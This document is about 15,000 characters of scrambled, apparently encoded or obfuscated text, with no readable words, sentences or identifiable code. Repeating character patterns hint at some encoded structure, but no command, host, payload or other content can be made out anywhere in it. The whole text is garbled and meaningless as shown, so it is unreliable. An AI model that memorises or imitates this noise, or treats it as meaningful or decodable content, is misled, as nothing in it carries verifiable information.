TVOCQW _	RKGGC	TNNGmGGGGGGG	\C		ZVWWL^^\CQUV^ZC		JSR\mmmmmGGGOCW_WT RNGS_R^W8OCQW _	RN\m^Q_VSR ON\mGmGGGGGGGO3GGGGGC  PNGGGmGWS	V VQPOWW RUOVQSTNKGGC  PN\mmmmGGGO"	GGC  PNGGGGmGGmGGGGGGGmG		G
8PQW8 ONmGmGGGGGGGGGmGGOF	OWW RUOVQSSNNNGGGGGG	\mGGO8
 _R_^O^RRONNNG	\mGGGGGGOF	QU 
OVQSRNO^8UVUVOVSW_NNNG	\mGGGGO^8UVUVOVSPVNONGZZZGG^8UVUVOVQSQNNGGGG	\mGGGGOFOC84"51"5<^8UVUVO^SN:NNGGGG	\mGGGGGO 8		OWW RUOVQSPNNNG	\mGGGGGC U	GZGGRU^W
 ON\mGGGGGGGGGOF'8Q TOVT^VNOC U	NNGPTV8
OC U	KGGGGOSWTL^WNKGGN\mmmGGGOF'8Q TOVT^VNOC U	NGGGF'	QU 
OVQS_NOC U	NNGGGGmGGC U	GGZGGG&%47&3/GIG^8UVUVOVQS^N\mGOF'^8UVUVOVQS_NOC U	NNGGGC U	GZGGG
U	TWQQON\mGGGGGmGC	QGGZGG^U  

VRO&%47&3/GIGGGGGG@ @KGOSLSNN\mGGGGGCP8GGGGGZGG^8UVUVORS_NGGGIGGGGC	QGGGIGGWW RUOVT^TN\mmmGC
 TUTQGGGZGC U	GGIGGG@H@GIGCP8\mmmmGGCPR^SGZGC U	GIGG8Q TOVQRWNGGGIGGGC	Q\mGGGGOOC U	KGGG&%47&3/GGIGG	QU 
OVQS^NKGG
U	TWQQONNGGGGGGGCR^NGGmmmmGGC
	GGZGGGCR^GGGIGGGGGWW RUOVQRVNGIGGGC	Q\mGGO'	QU 
OVRVSNOC
	NNGmGGGGC
^QS8UPGGZGGO	NGGG'WW RUOVRVWNOC
	N\mGGGGGGOC
^QS8UPG[ZGGG8Q TOVQRUNONGGGGJGGGGOS_VS_LT_URUNGGC
^QS8UPGGYG	QU 
OVQRUNONGGGGLGGOWQPLWRNNGGGGmmmmGGU	U8OC
	N\mm		\mmHHGJG	mmGO'	QU 
OVRVSNOCR^GGGGIGGGGWW RUOVQRTNGGIGGGGC	QGGIGGGG	QU 
OVT^TNNNGGG	\mGGGU	U8OC
	N\mGGGGGmmmmGGGGGmGGG	OCR^KGGGGGC
	KGC
^QS8UPN\mGGGGCQ8WGZGGGG&%47&3/GGGGGIGGGGGG^8UVUVOVQRSNGIGCP8\mGGGGGGGOC U	GFZZGGG&%47&3/GGGIGGGWW RUOVQRRNGAAGGGGG'	QU 
OVQRQNOCQ8WNGGGGAAG^PTUPW	Q_OCQ8WNGGGFZZGGGNGGmmmm



T_WOCQ8WKGGGGGGOTRVLQ^NN\mGGGGGGGGGOU	U8OCQ8WNGGGGGAAGGGGG8Q TOVQSRNOWW RUO_RTNNNGG'8	OCQ8WKGN\mGGGGmGG	OCQ8WN\mGGGGGGO'8Q TOVQRPNOCPR^SNGAAGGGGO	NGG'^8UVUVOVQR_NOCPR^SNGYGGGGGWW RUOVQRUNONGGJGGOWVLWVNNGGG	\mGGGO'^8UVUVOVQR^NOC
 TUTQNGGGGAAGGOWW RUOVQRUNONGGJGO	NG'
OC
 TUTQNNG[GGGOT^_J^_NNG	\mGGGO'	QU 
OVQR^NOC
 TUTQNNGmGGC	UGGGGGZGGGGG'^8UVUVOVQQWNOC U	GIGG^8UVUVOVQQVNGGGGIGC	QNGGGGGXGG8Q TOQQUNOO	 NGG'	QU 
OVQQUNOC U	GGGIGGGG	QU 
OVQQVNGGGGGIGC	QNNGGG]GGGEE\mGGGGOC	UGGFZZGGGGEEGGGAAGGG^8UVUVOVQQTNO^8UVUVOVQQSNKGGC	UNGAAG	8
OC	UKG^8
U_U
ONKG@Y@NNG	\mGGG	OC	UN\mmmmmGGGO'8Q TOVQQWNOC
 TUTQNNGGGGGGmmGGC^QS	P 
GGZGGC U	GGGIGGWW RUOVQQRNGGIG^U  

VRO&%47&3/GGGGGIG@ @KGGGOWRLWTNN\mCQWR ^GGGZGGGG'WW RUOVQQWNOC^QS	P 
NGGXGGGO	 NGGG'8Q TOVQQQNOC^QS	P 
NGGG]GGEE\mGGGGC	_Q8GZGW\mGGGGOCQWR ^GGFZZGEENGGGCRZOWPLWRN\C
 8	ZCRBP\mmGCWRWW GZGGGGWW RUOVQQPNO@@KGGGCQWR ^N\mGGGGGGC	_Q8GGGGZGGGGGO	NGGGCWRWW <W:\mGGGmGGGGGGOC	_Q8GGGGYGGGGWGGGAAGG^8UVUVOVQRUNONGJGC	_Q8GGYGGGOWUTLWVSQNNGGGWS	V VQPOWW RUOVQQ_NKGGGGGWW RUOVQQ^NN\mGGGOC	_Q8GGZZZGWGGGGAAGGGO8Q TOVQRUNONGGGJGGGO	NGGGG'
OC
 TUTQNNGGYGO_TULQ_NNGWS	V VQPO	QU 
OVQQ_NKGGGWW RUOVQPWNN\mG	OC^QS	P 
KGGGCQWR ^KGGGCWRWW KGGGGGC	_Q8N\mmmmGGGGmGCPR
GGZGG	W
_RUTTON\mmGOFCPR
GGGGGGGG^8UVUVOVR^UNOCPR
NGGGGG[GGGOSTTLQPNNG	\mGGGGCPRPTGZGGGGGQT88^ON\mGGCWU W
GGGZGWW RUOVS_QNO^RRONKGGGGGWW RUOVT^TNN\mGC	PTW
QGGZGGG
U	TWQQONGGGGIGG^8UVUVOVRN\mGGCPVW8W	_W8GGGZGGG'8Q TOVQPVNOC	PTW
QNmXGGGOC	PTW
QGGIGGG@H@GGGGIGGGCWU W
GGGGGIGGGGGWW RUOVT^TNNmGGG]GO
U	TWQQONGIGGGGGGWW RUOVQPUNGIGGGCWU W
GGGIGG@H@GGIGCWU W
GGIGG8Q TOVQPTNN\mCPV	UUUGGGZGWW RUOVQSRNO8Q TOPPWNNGGGGXGGGWW RUOVQPSNO
8ONKGGGG7/7825+8/(43NGGGGG]GGOOC84"51"5<^8UVUVOVQPRN:NGGXGGC84"51"5<	QU 
OVQPRN:G]GEEN\mGGGGGGC_RW
QGGGGGZGGGGO	O	QU 
OQTSNNGGAAGGGGG07*287+2 .)8#.5NGXG07*287+2 .)8#.5GG]GG
U	TWQQONGGIGG	QU 
OVRN\mC	^U8^PGGGGGZGGGGO	O^8UVUVO_UUNNGGGAAG0787+2 .)8#.5NGGGXGGGG0787+2 .)8#.5GGGGG]GG
U	TWQQONGGGGGIG^8UVUVOVQPQN\mGGGC
VGGGGGGZG	O^8UVUVO^RSNNGXGG078$()3")38#.5GGG]GG
U	TWQQON\mGGGCV TUPGZG_T^POmmmm	QU 
OVQQ_NKmmmmGGGO@887&3/8%QS88@KG@887+2 .)8%&4"QS88@KG@88#(*&.)88@KG@88/%8%QS88@KGG@88 7&3/8%QS88@KG@88&%47&3/8%QS88@KGGG@88$()3")3#.58%QS88@KG@88*2#.58%QS88@KGGG@887+2 .)#.58%QS88@KGGGGGG@884+2 88@KGGG@881"54.()88@NKmO8Q TOVTPRNOCPVW8W	_W8NKGGGGGCPRPTKGGCPV	UUUKGG8Q TOVTPRNOCPR^SNKG8Q TOVQPPNOC
 TUTQNKGGG	QU 
OVQPPNO&%47&3/NKGGWW RUOVQP_NOC
VNKGGG8Q TOVQP_NOC_RW
QNKGG^8UVUVOVQP_NOC	^U8^PNKG	QU 
OVS_QNO^RRONKGG	QU 
OVQPTNNKGG^8
U_U
ONNmGGGN\mGOFCV TUPNGGGGGGmGGGOO	NGGGG 8	O^8UVUVOVQUSNKGGGWNGGGYGWNGGWS	V VQPO	QU 
OVQQ_NKGGWW RUOVQP^NN\m	\mmGGmmmmGGGGGGGGOFW^RTOCV TUPNNGGmGGGGWS	V VQPO^8UVUVOVQ_WNKGGG^8UVUVOVQ_VNN\m	\mGGGGmGOSS8^

TVOC
 TUTQKGGGGGGCV TUPNNGGGmGQ	WTT UOC
 TUTQKG	T	ONN\mGG



T_WOC
 TUTQKGGGGOTVQLVWSNN\mGGGS_R^W8OC
 TUTQN\mGGGG
TT^	SOC U	GGIGWW RUOVQ_UNGIGC	QKGGGGG8Q TOVR_SNOCV TUPNKG^8UVUVOVQ_WNN\mGG
TT^	SOC U	GGIGGGG8Q TOVQQVNGGIGGGGC	QKGG^8
U_U
ONKGGG^8UVUVOVQ_WNN\mGG'	8	GGGGC
 TUTQ\mmGGG8		O	QU 
OVQ_TNKGGGVKGOUPVLU^NN\mmGG	OC_RW
QKGGGC	^U8^PKGGGC
VN\mGGGGGGGGGGO3GGGGC  PNGmWS	V VQPO	QU 
OVQ_WNKGGC  PN\mGGGGGGO"	GGC  PNGGGmGmGGGGGGGmGGGGGG		GS
WTWROC8R_P	NmGmGOF	QU 
OVQ_SNOC8R_P	NNGGGG	GGGG\mGGGGCSWVTS TQPTGGZGGGGGWW RUOVR^UNOC8R_P	N\mGGGGOCSWVTS TQPTGGYGOVSPW^_QJSUUSVWNNG	GGG\mGGGOCSWVTS TQPTGG[GGGOST^LQVNNGGGGG	GGG\mGGGCV	R^8GGGZGG^8UVUVOVQVWNOC8R_P	KGGGWKGGGGOQRSS_L__NN\mC
^_V
U
GGGGGZGGGGWW RUOVQ_RNOCV	R^8KGGG@G@NGGLGGGGGG8Q TOVQ_QNOCV	R^8KGE;EN\mGGGGGGGG	GOC
^_V
U
GGHGG8Q TOVR^UNOCV	R^8NNGGYGGWIRR\mGGGmGGG		G	W
_RUTTOCVR	^^
GGZGGGNmGGGmmGGGGGGGCPR
GZGG	\mGGGGGGGGOCVR	^^
NGGGGGmGGGGGGCPR
GZGGGGG	\mmmGGGmGGGOCPR
GGFZZGG	NG	GGGCPR
\mC8R_P	GZGGG\mmmmGC	8
_T	 	GZGG'8Q TOVVV^NO^RRONN\mmmGGGGGGGOC	8
_T	 	GGGGGAAGGGC	8
_T	 	GGGYGGGOSV^L_VNGGAAGGGC	8
_T	 	GGG[ZGGORUSU_PQVLT^NNGGGC8R_P	GZGGGGG'WW RUOVQQQNO^RRONN\mmmmGGGGGGGGGGO^8UVUVOVQ_SNOC8R_P	NGGGGGGAAG^8UVUVOVR^UNOC8R_P	NGYGOTRQ^U^LQ^VQSPNNGGGC8R_P	GZGGG8 	  OC8R_P	N\mmmmGGGO	QU 
OVQ_SNOC8R_P	NGAAGGG	QU 
OVR^UNOC8R_P	NGGGGYGGO^QSJSQSNGGGAAGWW RUOVR^UNOC8R_P	NGG[ZGGGOVWS_RPWLQNGAAGGFS
WTWROC8R_P	NGAAGGGGGW^RTOC8R_P	NNGGGGmHMG	
G		GMHmmGGCPR
GZGGGGC8R_P	\m	GCPR
\mGGmGC  _UUGGGGZGU^ _UO	QU 
O__PNKGGEEN\mGGGO^8UVUVOVQ_SNOC  _UUNGGGGGAAGGGG^8UVUVOVR^UNOC  _UUNGYGGOS_RLVRNGGGGAAGGG8Q TOVR^UNOC  _UUNG[ZGGGGOVWSSSTVLSVSRNGGAAGGFS
WTWROC  _UUNGGAAGGW^RTOC  _UUNNGGGGGmGGCPR
GZGGC  _UU\mG	GGGCPR
\mGmGGGCPR
GZG\mmmm	GGGCPR
\mGGm		GQT88^OCVR	^^
GGGZGGGNmGmGGGGC8VPW_
GGZG	\mmmmGGOCVR	^^
NGGmmGGGC8VPW_
GGGGZG	\mGGGGGGmGGGGGGGGOC8VPW_
GFZZGGGG	NGGGGG	GGC8VPW_
\mC8R_P	GZGG	W
_RUTTON\mGGGGGOF	QU 
OVQ_SNOC8R_P	NGGGGGG8Q TOVR^UNOC8R_P	NG[GGGOSVVL_^NGGGWW RUOVQ_PNOC8R_P	NGYGOVWQTTPSJVSP^_NGGGGGGGGGGS
WTWROC8R_P	NGGGFW^RTOC8R_P	NNGmGC8VPW_
GGGGZGGG\m	GGGC8VPW_
\mmmmGGGGGC8VPW_
GGGZGGG^8UVUVOVQP_NO^Q _OC8R_P	NN\mG	GC8VPW_
\mGGGmGG		GGGGUV	PROCVQQT  NmGGGGGGmGOF8Q TOVQ_SNOCVQQT  NGGGWW RUOVQ_PNOCVQQT  NG[GOVQLUNGGG^8UVUVOVQ__NOCVQQT  KGGWKGUNGGFZZGGGE;V;_ENGGG	GW\mC
UPGGGGGZGGG'WW RUOU^WNO@1@KGG8Q TOVQ__NOCVQQT  KGGJO_JSNNN\mGGGC
UPGGZGGGGG	QU 
OVQ_^NOC
UPNGGGGXGC
UP<V:GGGGG]GW\mGGGGGGGOC
UPGG[GOSQSLTQNGGGC
UPGGGYGGOVWS_RQPL^NNGG	GGGGC
UP\mGG	GGGW\mGmGGGG		GGG	8RVV8__WOCUUTVVNmGGGGGmGGGG	GWW RUOVQ^WNOOCUUTVV<V:NN\mmmmGGGGGGGm		GGG_^UQUSOCWUQNmGGGmmmmGGGGGOFWW RUOVQ_SNOCWUQNGGGGGCWUQGZZZGEENG	GGGCWUQ\mGGGGGCP	Q_
_VGGGGGZG	\mGGGGOCP	Q_
_VGGGZZZG	NGmHHG7/7G_IVG		]G	G
JmmmGGGGGGCP	Q_
_VGGGZGGG\mGGGGGGGO8Q TOVQSRNO^8UVUVOVQ^VNNNGGmmmmGC8GGGGZGG	O	QU 
OVQ^UNNGGGGXG078$()3")38#.5GGGG]GO	O8Q TOVQ^TNNGGXGGG&%47&3/G]GEEN\mGGGGGGOC8GGGGGFZZGGEENGGmGGC_TQTGGGGZG'88OC8N\mGGGGGGOC_TQTGFZZGGGGGGGAAGGGGC_TQTGGGGYZGGGOVRPU_QTSTLRPNNGGCP	Q_
_VGGZGG\mGGGGGmHHG'G	 mmGGmHHG*46+G-4()G]G
	 GmmGGGGGGOFCP	Q_
_VNGmGGGGOWW RUOVQ^SNOWW RUO_P^NNNG'8	OWW RUOVQ^RNKG8Q TOVQRUNONKGGGGGG	QU 
OVR_RNN\mGGGGGGGGO	QU 
OVQ^SNO^8UVUVOVRUPNNNGGmGC^ VWSS_VGGZGO	NGGG 8	OWW RUOVQ^QNKGWN\mGGGGOC^ VWSS_VGGAAGGGGGWW RUOVQRUNONGGJGC^ VWSS_VG[GGOVUS_WWJT_SWWNNGGGCP	Q_
_VGGGZGGG\mmGGGGGmGGGGGGGGGGOFCP	Q_
_VNGGGGGm	GGCWUQ\mGGGmmmmGC
TPSP	QGGGZGGOUQPSPRVLU_URUS^NGGGGLGGGG8Q TOVQ^PNOWKGGGGOUWWS_SUJRWS_SUNN\mGGGGGGGGGO	QU 
OVQ_PNOCWUQNGGGGGYZGGC
TPSP	QNGG	GGCWUQ\mGGGGGGGOWW RUOVQ__NO8Q TOVSSQNOCWUQNKGGGJUNGGZZZGG^8UVUVOVQ^_NNGG	GCWUQ\mGGGGGGGO^8UVUVOVQ_PNOCWUQNG[GC
TPSP	QGJGOT_VWLU^WNNGGGGGmC	WTVT ^GGZGGGEE\mGGGOWW RUOVQ^^NO8Q TOVPWWNNNGGGmmGGGC^	RZ7/78*&-(581"54.()\C

	ZC^	RM^\mGC	WTVT ^GGGZGGGG'8Q TOVPWVNO	
8OOV^VVL_^NNN\mGGGGGO3GGC  PNGmmmC	WTVT ^GGGZGGGGGEE\mGGGGGGO"	GGGC  PNGmC	WTVT ^GGZGGEE\mmmGGmmmmGGGO8Q TOVQ_PNOC	WTVT ^NGGGG[GGGGGOU^_SLVWVQNNGGGGmmmGC	WTVT ^GGGGZG	QU 
OVR_SNO	OEEKGGGNN\mGGO	QU 
OVPWUNOC	WTVT ^NGGG[GGOU_RWLVVRWNNGGC	WTVT ^GGIZGWW RUOVPWTNOC	WTVT ^N\mGmGGCWUQGGGIZGGGE;	HMEGGGGIGGGC	WTVT ^GGGGIGGWW RUOVPWSN\mGGGmG	GGCWUQ\mGGmmmG		G8 	  OCWUQNmGGGmGGGGGGOF^8UVUVOVPWRNOCWUQNGGGGG8Q TOVPWUNOCWUQNGGGGG[ZGGOVWS_RVULQSNNG	GGGGCWUQ\mGC
GZG	QU 
OVQSVNO8Q TOVPWQNKGGGGEEKGGGGGCWUQN\C WRZ^USW\C	R
TUZC WRBU\mGGGG	GGWW RUOVPWRNOC
NGXGGC
GG]GGGCWUQ\mGGGm		GGGGS_R^W8OC	VRNmmmmGGGGGmHHG	 JG GG7/7G	
G 
	mmGGGGGGGGGGGOF^8UVUVOVPWPNOWW RUOVRUPNNGGGGGGGF	QU 
OVPW_NO^8UVUVO_P^NNNG	\mGGGGGGGOF8Q TOVPWRNOC	VRNGGGGGGC	VRGZZZGGGGEEGGGGF'	QU 
OVQQWNOC	VRNNGG	\mGGGGOFOC +(%&+4<WW RUOVPW^N:NGGGGGGF8Q TOVQ_^NOC +(%&+4<	QU 
OVPW^N:NNGGGmC +(%&+4<WW RUOVPW^N:GGZGGGG 8	OWW RUOVPVWNKGONN\mGGOF^8UVUVOVPVVNOC +(%&+4<8Q TOVPW^N:NNGC +(%&+4<^8UVUVOVPW^N:GGGGGGZGON\mGGGmmmmGGGGCUUTVVGGGZGC +(%&+4<^8UVUVOVPVUN:\mGGGCWUQGGGGGZGGG'	QU 
OVQQQNOC	VRN\mGOF8Q TOVPWRNOCWUQNNGGG	\mGO8Q TOVPVTNOCWUQNGGGYGGOWQUPLWUS^^NNGGGCWUQGZGG8 	  OCWUQN\mGCUUTVV<^8UVUVOVPWTNOC	VRN:GZGGO@@GZYGGC	VRKGG@@GGZYGGG^8UVUVOVPVSNOCWUQNKG@ @GZYGGG^8
U_U
ONKGG@@GGGZYGGG^8UVUVOVPVRNONN\mGGGO8Q TOVRV^NOCUUTVVNGGGGGYGGGGGGOURQJRQNNGGmGGGGOCUUTVVGGGGCUWU
GZYGGGC R8S NGGGGGmGOF8Q TOVPVVNOC R8S NGGGGGFOC R8S <@@:NGGGGGGGO	NGGGC R8S <@@:GGGGGG[GGG^8UVUVOVPVRNONGGJGGOUR^V^VTL_PNNG	OCUUTVV<CUWU
:N\mGmmmmGGGGGO^8UVUVOVRV^NOCUUTVVNGGYGGGOUPPJPPNNGmHMG
G
JGMHmmGGGC_VPGGZGGGG	\mGGGGGC^^^QGGGZGGGGGG	\CR^W	ZQPLVS\C 8TZCR^W	JQ\mGGGGGGGOCUUTVVGGGGGCUWU
GGGGZYGGC R8S NGGGmGCWVGZGGGGG	QU 
OVPVQNOC R8S NGGGGGAAGGOC R8S <@@:NGXGGO	NGGGC R8S <@@:G]GGGGGGW\mGGGGGGGGGGOC^^^QGGZZZGG	GGGGCWVGG[GGC^^^QNGGmGC^^^QGZGCWV\mC_VPGZGGGGGCUWU
\mmmGGGGGmGmGGGGGGOC_VPGGGGZZZGGGG	NGG\mGGG	OCUUTVV<C_VP:N\mGGGGGGmmmGmGGGGG8	O	QU 
OVPVWNKGGGGGCUUTVVKGG8Q TOVPVPNN\CVTZJQ_^\CP
VWZOCVTYWNXCVT]JCVT\mmGC +(%&+4<8Q TOVPVUN:GGGGZGCUUTVV\mmmGGmGG		GGG^PTUPW	Q_OC	VRNmGmGGGGGGGOF	QU 
OVPWRNOC	VRNGGGGGGC	VRGZZZGGEENGG	GGG\mGGGGGGGOFOC +(%&+4<	QU 
OVPV_N:NGGGGGGF^8UVUVOVPVQNOC +(%&+4<8Q TOVPV^N:NNGGmGGGC +(%&+4<^8UVUVOVPV^N:GGGGGZGGG	QU 
OVPW_NOWW RUOVRUPNNGXGGGG 8	O	QU 
OVPVWNKGGGGGONNGG]GGGON\mGGGGGGGGOFWW RUOVPVQNOC +(%&+4<^8UVUVOVPUWN:NNGGC +(%&+4<8Q TOVPUWN:GZGON\mmGGGmGGGCUUTVVGZGC +(%&+4<8Q TOVPUWN:\mGCP8	_PRGZG8Q TOVPVSNOC	VRN\mmmGGGOOCUUTVV<CP8	_PR:NGGGGAAG^8UVUVOVPVQNOCUUTVV<CP8	_PR:NGGGAAGGGGGOCUUTVV<CP8	_PR:<@@:NNGmGGGGGGOO	NG'^8UVUVOVVV^NOC	VRNGGGYGOWVWSULWVPUUNNGGGGGG	G8Q TOVPUVN\mCWUQGGGZGG'^8UVUVOVPUUNOC	VRN\mGGOWW RUOVPWRNOCWUQNNGGmGGO	QU 
OVPUTNOCWUQNGYGGOVWS_RTVLSRNNGGCWUQGGZG8 	  OCWUQN\m	GGO	QU 
OVPUSNOCWUQNGGZZZGGCUUTVV<CP8	_PR:<@@:NGGGGGXGGGGGGG]GG	QU 
OVPUVN\mmGmmmmGGG	G\mmGmC	V^GGGZGG'WW RUOVPUUNOC	VRKGGGKG	KGWKGOSWVUL_SNN\mGOmGGGGG	QU 
OVPWRNOC	V^NGAAGGWW RUOVQQTNOWW RUOUV^NKGC	V^NmAAGGGRU	_8
OC	VRKGGOPSQJUSQNNmGGGGGGGGNGGGGmmmmGGGOO	NGGG'^8UVUVOVPURNOC	VRNGYGGGOWV_STPWLWV^_TNNGGGG	G\C	SQQ	ZVUMP\C_8SQZC	SQQ	JP\mmmGCWUQGZGGO	 NG'WW RUOVPUQNOC	VRN\mmGGGGGGGGGO	QU 
OVPUPNOCWUQNGGGYGOVWS_RV_LR_NNGGCWUQGZGG8 	  OCWUQN\mmmGGGOW^RTOCWUQNNGG	GG	QU 
OVPU_N\mm	GGGG\mGGGGGGGm		GGGGTWUTONmmGGC_WPS	RZUVLP\CVSU
TZC_WPS	RJSV\mGGGGGCUUTVVGZGG	\mHHGGJ	mmGGGOCUUTVVGGFZZGGGGG	NGG	GGGGGGCUUTVV\mGGGCWUQGGZGGGGGO	 NGGGG'8Q TOVPUQNO^RRONN\mmGGGGGGGGGGOWW RUOVPU^NOCWUQNGGYGGGOVWS_RSPLU^NNGCWUQGZG8 	  OCWUQN\mGGGCUUTVVGZGG8Q TOVPUSNOCWUQN\mG	GCUUTVV\mmmmGGGGGGmmGG		GGGGGSUVPONmGGmG	GG8Q TOVQ__NOTWUTONKGGGGWKGGGGGOTT9SRNN\mGGGGGmGG		GGGGGGQSS8_	 P_ONmGGmmG	GGGGRU^W
 ONGGIGGGG	QU 
OVPTWNGGGIGG^U  

VRO&%47&3/GGIGGGGGG	QU 
OVPTVNKGOS[[VNNGGIG8Q TOVQPTN\mGGGGGmGG		GQWP_U^QONmGmGGGGC^  GZGGON\mGGGO	QU 
OVPW_NO^8UVUVOVRUPNNNGGmC
8GGZGG' 8	O	QU 
OVPTUNKGGGGONN\mmGGGGOWW RUOVPVQNOC
8NNGC^  GGGZGGGC
8\mmGGGGGGmmmCWUQGGZGGG'WW RUOVQQWNOQSS8_	 P_ONNGGGGXG'	QU 
OVPUQNOQSS8_	 P_ONNGGGG]GGGGGEE\mGGGGGGOWW RUOVPWRNOCWUQNGGGGAAGG	QU 
OVQTPNOCWUQKGGGWW RUOPSPNNGGGGZZZGGWNGGGGGmCT_GZGGG8Q TOQQVNOWW RUOVPTTNOCWUQKGGOVQQ9VQTNNKGN\mGGGGO	QU 
OVPTSNOCT_NGAAGGO
OC^  <^8UVUVOVPTRN:NGGGGOF
OCT_<^8UVUVOVPTRN:NGAAGGCT_<	QU 
OVPTRN:GYZGGGGGC^  <	QU 
OVPTQN:NNNGGC^  GZGGCT_\mmmGGGG	GC^  \mmGGG		G8^^
 OC^	_
NmGGGGGGmGGGGGGmGGGOF	O^8UVUVOVQ^TNNNGGGG	\mCP R SS
UGGGZG8Q TOVPVRNON\mmmmGGGGGGGGGGGGOC^	_
GGZZZGG	QU 
OUTWNGGC^	_
GGGGZZZGGGGG	QU 
OVPTPNNGGmCGZGGQWP_U^QON\mGGGGOmGOC<WW RUOVPT_N:KGGC<	QU 
OVPT^N:NGGGGGAAGGGGC<WW RUOVPT_N:GGGGZZZGGC^	_
mGGGAAGCP R SS
UGGJGO	NGGGGGGC<^8UVUVOVPT^N:GG[GOC^	_
GGGGZZZG^8UVUVOVPTPNGGGGXGGGGOUVTL_PNGGG]GOQLSNNmNG	\CT WTZP_U\CQ
T

ZOCT WTYWNXCT WT]JCT WT\mGGGGGGGGmGC^  GGGGZGOmGG@@GGGGZYGG^8
U_U
ONKmGGG	QU 
OVPSWNGGZYGGSUVPONKmWW RUOVPSVNGGGGGGZYGG^RRONKmWW RUOVTQ_NGGGZYGGGGGG	QU 
OVS_QNO^RRONKGGG	QU 
OVQPTNNKmGG8Q TOVPT_NGZYGGGGC^	_
KmGGGG8Q TOVPSUNGZYGGGGCP R SS
UKmmWW RUOVPSTNGGZYGCP R SS
UKmmmm8Q TOVPTQNGZYGGGOC84"51"5<	QU 
OVPSSN:NGGXGGGGGO	NGGGC84"51"5<8Q TOVPSSN:G]GGGGCP R SS
UKmmGN\mGGGGGGGGGGO	QU 
OVPSRNO^8UVUVO_P^NNNGGG'8	O8Q TOVPSQNKGC^  KGGG^8UVUVOVPVPNN\mGGGGC
Q^	R8S	GGZGGGGRU^W
 ON\mGGGGGGO'	QU 
OVT^VNOC
Q^	R8S	NGGGGGPTV8
OC
Q^	R8S	KGOSSVLRUNKGNNGGm'WW RUOVPSPNOQSS8_	 P_ONKG	QU 
OVPS_NGGIGGG^8UVUVOQRTNOC^  NN\mmGGGGGmmmmGGGGGGO3GGGC  PNGGGmGGGGGGGGGO"	GGGGGGC  PNGGGGmmmGGGmmmmGGGGGm		GG_
	T
_ OC^  NmGGGCRT^UZSS\CT_VRZOCRT^UYWNXCRT^U]JCRT^U\mGGGGGGOF	QU 
OVPTSNOC^  NGGGGGGG
OC^  <8Q TOVPS^N:NGGGFWW RUOVPRWNOC^  <8Q TOVPS^N:NNGG	GG^8UVUVOUUSN\mGGC
8SP_GGGGZGC^  <8Q TOVPS^N:\mmmmGGOF'	QU 
OVQQWNOC
8SP_NGGGGGGGO	NGG'8Q TOVPRVNOC
8SP_NGGGG[GORRWJRWNNG	GGG	QU 
OUUSN\mGGGGGGOQ^
Q8U_OC
8SP_NNGG	G^8UVUVOVPRUN\mmC^T_ W^8TGGZGOC^  <	QU 
OVPT_N:NGXGC^  <WW RUOVPT_N:G]GGEE\mGGC_QSVVTGGGZGOC^  <8Q TOVPRTN:NGGXGGGGGO	NGGGC^  <	QU 
OVPRSN:GG]GW\mmmGGGGGGGGGGOC^T_ W^8TGGZZZGWW RUOVPRRNNGGGGGG	GOC_QSVVTGYGGGGWGGGAAGGGWW RUOVPVRNONGGGJGGGC_QSVVTGGGGGG[ZGOTRW_L^UNNGGGGXGG	QU 
OVPRRNGG]GG8Q TOVPRQN\mGGGGGGGOC^T_ W^8TGZZZGGGWW RUOV_^NNG	GWW RUOVPRUN\mGGGGGGGGGGGOC^T_ W^8TGGGZZZGGGGG	QU 
OUTWNNG	GOC_QSVVTGGYGWGGAAGWW RUOVPVRNONGGGGGGJGGGGGC_QSVVTGGG[ZGGGOWSLWUNNGGGXGGG8Q TOVPRQNGG]G^8UVUVOVPRUN\m	GWW RUOVPRQN\mm		GG	_S8
VOC	VRNmmmmmGGGOF'	QU 
OVPRPNOC	VRNNG	GGGGGG\mmC^R_PGGZGGO	NGGG'^8UVUVOVPRVNOC	VRN\mGGGGGGOC^R_PGGG[GGOQ_WJV_WNGGGGGC^R_PGYGGORUSU_PRQLSSNNGGG	GG\mmGC	V^GGZGG'WW RUOVPR_NOC	VRKGGKGGGGG	KGGGGWKGOPP_PJTQ^VNN\mmGOF8Q TOVPRWNOC	V^NGGGGF8Q TOVQQTNO8Q TOUV^NKGC	V^NNGGGG	G\mGGOC^R_PGGGGGGYGGGGGGOVWS_RTSLSUNNGGGGmGGGGGGGGC
TPSP	QGGZG'WW RUOVPR_NOC	VRKGGKGG	KGGC^R_PGJGGOW^LWUQUNN\m	G	QU 
OVPRWNOC
TPSP	QNGAAG^8UVUVOVPR^NO	QU 
OVPQWNKGGC
TPSP	QNGGGGZZZGGGGV\mmGCWUQGGZG'	QU 
OVPR_NOC	VRN\mmmmGGOF^8UVUVOVPRWNOCWUQNNGG	GG\mGGG	GW^RTOCWUQN\mGmGGGGGG		GQ^
Q8U_OC	VRNmGGmmGGGGGCWU W
GZGG8Q TOVPQVNOC	VRKGGGGWW RUOVQPTNN\mGGOOWW RUOVTVUNOC	VRNKGG8^SU ^ONNGGGGGCS^WRNGGmC	VWUGZGCS^WRGGIGGGG8Q TOVP^NGGIGGCWU W
\mGGGGGGOF'^8UVUVOVPQUNOC	VWUNGGGGGO	NGG'^8UVUVOVQR_NOC	VWUNGG[GG	QU 
OVPVRNONGGJGGGOVVWUQPTJS^P_PTNNGGG		\mmCTP_8_GZGGGWW RUOVPQTNOO	 NGGG'^8UVUVOVPR_NOC	VWUNN\mGGGGOCTP_8_GZZZGGGEENGG		\mmmmCWUQGGZGO	 NGGG'^8UVUVOVPQSNOC	VRN\mGGGO^8UVUVOVPU^NOCWUQNGGGYGGGOVWS_RURLRVNNGGCWUQGGGGGZGG8 	  OCWUQN\mGGGGOCWUQGFZZGGEEGGAAG^8UVUVOVPUSNOCWUQNGGZZZGGCTP_8_NGG	GGGGGG\mGmGGGGGGG	GGG\mGGGGGGmGGG		GPV
W 	OC	VRNmGmGGGGGOFWW RUOVPQRNO8Q TOVPQQNNGGGFWW RUOVPQPNO8Q TOVPQ_NNNGGG	\mGC VGGGZGG' 8	O^8UVUVOVPQ^NKGGGONN\mGOF	QU 
OVPTSNOC VNNGGC VGGGGGZGON\mmmGGC V<8Q TOVPUSNOC	VRN:GGGGGZGGC	VR\mGGGGO8Q TOVRV^NOC VNGGYGGGOTUJVUNNGGC VGGZGGGWW RUOVPPWNOC VKGGGGJOUUJUNKGG	KGGN\mG'8	OWW RUOVPPVNKGGGGGC VKG8Q TOVPVPNN\mm		G		 PONmGmGGGGGOF^8UVUVOVPQPNOWW RUOVPPUNNGGGF	QU 
OVPPTNO8Q TOVPQ_NNNG	\mC VGZG' 8	O	QU 
OVPPSNKGGONN\mGGOFWW RUOVPTSNOC VNGGG
OC VNNGGG	\mC^_QUU	
	GZGGGON\mGGGGGGGOC VGGGGCUWU
GGGGGGZYGC
